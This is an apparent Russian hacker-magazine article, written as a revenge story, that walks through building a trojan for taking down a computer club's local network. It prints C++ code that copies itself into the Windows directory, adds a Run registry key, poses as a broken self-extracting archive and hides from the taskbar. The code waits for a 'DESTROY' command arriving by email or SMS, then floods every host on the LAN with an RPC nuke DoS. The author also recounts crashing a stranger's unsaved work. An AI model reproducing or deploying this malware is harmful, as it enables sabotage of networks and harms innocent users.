В который раз я ухожу из клуба просто в истерике. Эти тупые админы не могут мне даже болванку записать... да как они смели просить денег за то, что я пересидел в нете на 74 часа больше, чем оплатил... за такой коннект вообще денег брать нельзя. Они пожалеют об этом... скоро ВЕСЬ мир пожалеет об этом! 🙂

Протест трудящихся

Очень жаль, но вовремя посещения некоторых компьютерных клубов в голове сразу оживают воспоминания о технике приготовления самых
злостных западлянок. Я ненавижу их! Почему я беру тачку на пол часа чтобы поседеть в нете, а благодаря коннекту все, что успевает загрузится - это название страницы? Такие расклады не могут очень
радовать наш возбужденный мозг, и в который раз пристально смотря на уже забавную надпись "сервер не найден", рождается зверский план... 

Надо им отомстить! Нет, это не очередная безумная идея, это вполне серьезно... Админы - уроды, тачки - чмо, будем закрывать это заведение! 

План нападения

Для начала необходимо решить, чем именно мы займемся. Удаление винды, игрушек, софта, а также засорение винчестера отменяются. Для осуществления такого, много ума не надо.
Про отключении грызуна/клавы/пуска, а также другой
нечисти написано много материалов, просто почитай старые выпуски твоего любимого Хакера! Поскольку мы разозлились не на шутку, то и действовать
придется серьезно. Ну и что, что ты запорол в клубе один комп... Его
починят за пол часа, а может и за десять минут
(при попутном ветре). Нужно действовать более глобально, так чтобы они не поняли, что произошло! Нужно привести в
нерабочее состояние всё в локалке, чтобы не работал ни один клиентский комп. 

Я не говорю о вирусах, это очень долго и ненадежно,
в общем практически нет шансов. А устанавливать
какую-то гадость на каждый комп может быть очень проблематичным занятием, без времени/денег/прав админа. Как убить весь клуб, просидев за тачкой всего несколько минут? Невозможно... Хе-хе, нет ничего невозможного.

Вспомни, что за ось стоит в не родимом клубе? А в любимом клубе твоего друга Васи? Скорее всего это будет винда. Нееет, это 100% будет винда и судя по всему Windows ХР. Значит, будем копать под нее.

В поисках счастья

Давайте подумаем логически, если в клубе на всех клиентах стоит Windows ХР, то нужно найти инфу о том, как ее вырубить по сетке. Это очень удобно, сесть за 17-й комп и послать всем остальным тачкам в сетке сигнал
"Выключится". Поскольку в документации такой функции нет :), будем искать
что-то похожее в BUGTRAQ, удаленные атаки - рулят!

Искать мне пришлось не долго, и я быстро нашел
счастье под названием "kernel_winnt_rpcnuke". Это аккуратный архив, содержащий
программу для DoS атаки на Windows
системы и ее исходник. Немедленная проверка, распаковываю, запускаю. Для жертвы я выбрал 36 комп в сетке:

winnuke.exe 192.168.1.36 135

Да, работает... Особенно обрадовался этому
какой-то чел, сидящий за 36-й тачкой, он писал курсовую уже 2 часа и не сохранялся. Скандал, крики, моя тонкая психика не выдержала страдания этого человека, а также админа,
размазанного им по стенке, и я ушел пить пиво 🙂

Взглянув на исходник, я решил взять его за основу своего коварного плана (он немного урезан в целях экономии места): 

001. Накормить кошку.
...
124. Написать программу, которая постоянно делала бы DoS атаку на все тачки.
125. Запустить ее на компьютере админа.
...
659. Смыть с топора кровь.

Вот... Наша программа тогда должна уметь делать следующее:

  • записатся в автозагрузку и скопироваться
    на винт
  • стартовать по сигналу (некрасиво, когда админ запустил прогу с твоего сидюка, а весь зал моментально вырубился :))
  • посылать пакеты приводящие к DoS
  • посылать их на все компы в сетке
  • всем, кроме себя! (подумают, что "злой вирус" не успел заразить админа)

Ну, вроде с функциями определились. Теперь осталось, только воплотить их в реальность. Для этого возьмем
CBuilder и приступим к написанию.

С++ 

На мой взгляд, получится очень удобно, если мы напишем все в виде модуля, который с легкостью можно будет подключить к любому уже существующему
проекту. Итак, в меню File->New...->Header File. Сохраняем его под именем smile.h и приступаем к написанию кода. Для роботы нам необходимо подключить несколько модулей:

#include <registry.hpp> //Для работы с реестром
#include <stdlib.h> //Для работы со строками
#include "settings.h" //Наш модуль с некоторыми настройками

Модуль settings.h хранит основные настройки, а также некоторые константы, необходимые нам для работы. Сюда входят настройки для подключения и проверки почты, настройки для автозагрузки и собственно, наборы байт, которые посылаются на целевой компьютер.

Исходный код settings.h

Обратите внимание на переменную MS_FROM. Если вы хотите, чтобы атака начиналась после прихода письма с почты, то укажите ее адресс. Но если нужно, чтобы все сработало после SMS, то укажите адрес отправителя в форме "ваш_номер@sms.оператор". Поскольку я использовал в роли оператора
UMC, то адрес вышел "мой_номер@sms.umc.com.ua". Узнать точный формат можно отправив SMS на определенный номер оператора (для UMC он 101). Текст сообщения должен начинаться с имени вашего почтового ящика, после него пробел и собственно само сообщение. Более точную информацию ищите на web-странице вашего оператора.

Для удобного использования модуля создадим класс, в котором и реализуем все необходимое. По исторически сложившимся обстоятельствам назовем его TSmile:

class TSmile{

public:
//Функция для настройки почты
BOOL SetMailSettings(TNMPOP3* POP,
AnsiString strLogin,
AnsiString strPassword,
AnsiString strHost,
int intPort);

BOOL CheckMail(void); //проверка почты
BOOL doAction(void); //уничтожение клуба
TSmile(); //конструктор

private:

int MailCounter; //какое письмо мы проверяем
int MailStatus; //состояние подключения
char ThisIP[15]; //наш IP
char NetworkMask[15];//IP без последней цифры
int Action; //сигнал для начала DoS атаки

protected:

BOOL ReadMessage (void); //читать письмо
BOOL CheckMessage(void); //проверить письмо
BOOL Register(void); //прописаться на компе
BOOL GetNetwork(void); //узнать IP
TNMPOP3* POP3; //для работы с почтой
};
//Функция для отправки пакетов:
unsigned long WINAPI SendData(void *targetip);

Для начала опишем конструктор. Он запускается самым первым и исполняет 3 действия: инициализирует некоторые переменные, прописывает нас в автозагрузку, а также узнает наш IP в сети.

TSmile::TSmile()
{
MailStatus = MS_NONE;
MailCounter = 0;
Action = 0;
Register();
GetNetwork();
}

Процесс регистрации, не представляет собой особой сложности. Он состоит из нескольких этапов. Копирование себя в директорию с
установленным Wіndows (используется функция GetWindowsDirectory) под именем хранящимся в константе REG_FILENAME из модуля settings.h. 

TSmile::Register(void)
{

char chDirectory[255];
GetWindowsDirectory(chDirectory,255);
AnsiString strFileName;
strFileName=chDirectory;
strFileName+="\\";
strFileName+=REG_FILENAME;
CopyFile(Application->ExeName.c_str(),strFileName.c_str(),TRUE);

После чего, программа прописывается в автозагрузку из реестра Wіndows(раздел
HKEY_CURRENT_USER\Software\ Microsoft\ Windows\CurrentVersion\ Run). Но тут возникает одно дополнительное условие, перед добавлением в автозагрузку программа проверяет, не была ли она прописана там ранее. 

TRegistry *Registry = new TRegistry;
Registry->RootKey = HKEY_CURRENT_USER;
if (Registry->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
AnsiString strRegister;
strRegister=Registry->ReadString(REG_APPNAME);

if(strRegister=="")ShowMessage(REG_ERROR);

Registry->WriteString(REG_APPNAME,REG_FILENAME);
Registry->CloseKey();
}
delete Registry;
return True;
}

Если нет, значит ее запустили в первый раз и она выводит сообщение о ошибке. Сообщение вы можете выбрать самостоятельно, изменив константу REG_ERROR. Поскольку я решил замаскировать программу под
самораспаковывающийся архив, в качестве сообщения я выбрал "Ошибка при
распаковке: неизвестный формат" и дал проекту
соответствующую иконку.

После регистрации в системе программа сразу узнает свой IP, и соответственно формирует "общий"
IP (без последней цифры). Благо о том, как узнать свой IP, в нете инфы хватает. В данном случае в основу положена функция, используемая в BO2K.

Исходник

В завершении ее работы мы имеем в переменной ThisIP свой IP, а в NetworkMask - "общий".

Следующим действием должна быть проверка почты. Поскольку
программный код обращения к почте с помощью сокетов достаточно велик, воспользуемся компонентой TNMPOP3 из закладки FastNet. Но раз мы пишем модуль, то не можем в нем создать
объект NMPOP3, его можно создать только на форме! Поэтому необходимо на форме
проекта создать компонент NMPOP3 и указать его имя в качестве первого параметра функции SetMailSettings(). Таким образом наш модуль получит доступ к компоненте NMPOP3. Остальные параметры - это логин, пароль, адрес РОР3 сервера вашей почты и порт для подключения.

TSmile::SetMailSettings(TNMPOP3* POP,
AnsiString strLogin,
AnsiString strPassword,
AnsiString strHost,
int intPort)
{
POP3=POP;
POP3->UserID = strLogin;
POP3->Password = strPassword;
POP3->Host = strHost;
POP3->Port = intPort;
MailStatus = MS_OK;
return TRUE;
}

Все настройки можно указать и на прямую в Object Inspector, просто если мы делаем универсальный модуль, то нужно свести его использование к простейшему варианту. Далее опишем последнюю публичную функцию CheckMail():

TSmile::CheckMail()
{
//если подключение к POP3 не настроено - выходим
if(MailStatus==MS_NONE)return False;
//подключаемся к POP3
POP3->Connect();
//входим в цыкл...
do
{
//если произошла ошибка - переподключаемся
if(MailStatus==MS_ERROR)
{
POP3->Connect();
MailStatus=MS_OK;
}
//пока не прочитаем письмо
}while(!ReadMessage());
//прочитали...
//и опять в цыкл...
do
{
CheckMessage();//проверяем прочитанное
ReadMessage(); //читаем следующее
//если произошла ошибка - выходим 🙁
if(MailStatus==MS_ERROR)return False;
//пока действие не равно ACTION_DESTROY
}while(!(Action==ACTION_DESTROY));
//а если равно, то клубу хана 🙂
return True;
}

Сценарий предельно прост. Но в нем присутствуют
две неописанные ранее функции ReadMessage() и CheckMessage(). Первая читает письма:

TSmile::ReadMessage(void)
{
//если не подключены, то нефиг читать
if(!POP3->Connected)
{
MailStatus = MS_ERROR;
return False;
}
//мы проверяем последние MS_MAILCOUNTER писем:
//если читаемое письмо по номеру...
if(MailCounter<MS_MAILCOUNTER) // меньше MS_MAILCOUNTER
{
POP3->GetMailMessage(POP3->MailCount-MailCounter);//читаем
MailCounter++; //дальше будем читать следующее по списку
}else // а если оно больше чем MS_MAILCOUNTER
{
MailCounter=0; //будем начинать заново
MailStatus=MS_ERROR; //отключимся, а вдруг пришли новые письма
while(POP3->Connected)POP3->Disconnect();;
}
//все 🙂
return True;
}

А вторая проверяет не содержат ли они строку
MS_COMMAND (в данном случае это "DESTROY")
и вообще, от нас ли это письмо:

TSmile::CheckMessage(void)
{
if(!POP3->MailMessage)return False;
if((POP3->MailMessage->From==MS_FROM)&&
(POP3->MailMessage->Body->Text.SubString(1,strlen(MS_COMMAND))==MS_COMMAND))
Action=ACTION_DESTROY;
return True;
}

Если все ОК, об этом мы узнаем из результатов функции CheckMail(), то начинаем атаку:

TSmile::doAction(void)
{
if(!(Action==ACTION_DESTROY))return False;

char LastIPNum[255];
char CurrentIP[255];
char addr[254][15];
DWORD dwThreadId, dwThrdParam;
HANDLE hThread;
//начинаем цикл..
do{
//для всех компьютеров в сети
for(int i=1;i<255;i++)
{
Application->ProcessMessages();//чтобы не зависнуть
strcpy(CurrentIP,NetworkMask);
itoa(i,LastIPNum,10);
strcat(CurrentIP,LastIPNum);
strcpy(addr[i],CurrentIP);
//это чтобы не послать самому себе:
if(strcmp(ThisIP,CurrentIP)){
//посылаем:
hThread=CreateThread(NULL,0,SendData,addr[i],0,&dwThreadId);
}

}
//который не закончится 🙂
}while(1);

return True;
}

Мы себе не посылаем пакеты, поскольку если мы будем
перезагружаться, то не сможем атаковать остальные компьютеры. Но если
кто-то хочет, то может убрать эту проверку. А чтобы атака была более агрессивной, 
пакеты не посылаются всем компьютерам по очереди... Открывается 255 потоков, которые одновременно посылают, посылают, посылают 🙂

А посылают они с помощью функции SendData. Она представляет собой копию "kernel_winnt_rpcnuke", несколько измененную для данной программы:

Исходник

Все, smile.h готов! Теперь быстренько сохраняйтесь и создавайте новый
проект. Кидайте на форму NMPOP3 из FastNet. Нажмите Control+F12 и выберите со списка Unit1. В открывшемся окне, после строчки:

#include "Unit1.h"

добавьте еще одну:

#include "smile.h"

Таким образом мы объявили, что будем в этой программе использовать smile.h. А в конструктор TForm1::TForm, который
объявлен как:

__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)

добавляем следующее:

TSmile *Smile = new TSmile();
Smile->SetMailSettings(NMPOP31,"login","password","pop.server.ru",110);
do
{
if(Smile->CheckMail())Smile->doAction();
}
while(1);

Теперь если на вашу почту придет нужное письмо, в клубе начнется армагедон! 

И напоследок несколько подсказок:

  • чтобы использовать smile.h, скопируйте его в одну папку с
    проектом.
  • использование SetMailSettings (имя экземпляра NMPOP3 на форме, логин почты, пароль, РОР3 сервер ищите на сайте используемой почты, порт для подключения)
  • чтобы сделать программу невидимой в таскбаре нажмите Control+F12 и выберите
    в списке Project1. В открывшемся окне, перед строчкой: 

    Application->Run();

    добавьте еще одну:

    Application->ShowMainForm=False;

В конце концов компилируем все это и бежим с дискеткой/
болванкой/ флэшкой в клуб. А не могли бы вы мне распечатать документ? Он там, в самораспаковывающемся архиве... ой, не работает? Ну
извините...

А на следующий день с криком: "О великий мегатрон,
приими в жертву этот клуб!", отсылаешь SMS и бежишь проверять следы своего творчества!

Абнормал программ терминейшн

Хочу вас предупредить, что не стоит приносить вред хорошим клубам. Да, да, вы не ослышались, именно хорошим. Интересный феномен, но и такие
наблюдаются... За ними нужно постоянно ухаживать, а особенно за админами. В доказательство того, что ты осознал всю эту хрень, принеси любимому админу бутылку пива и вышли на мой
счет 100$ 🙂 

Все исходники ТУТ.

Да придет к тебе коннект!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии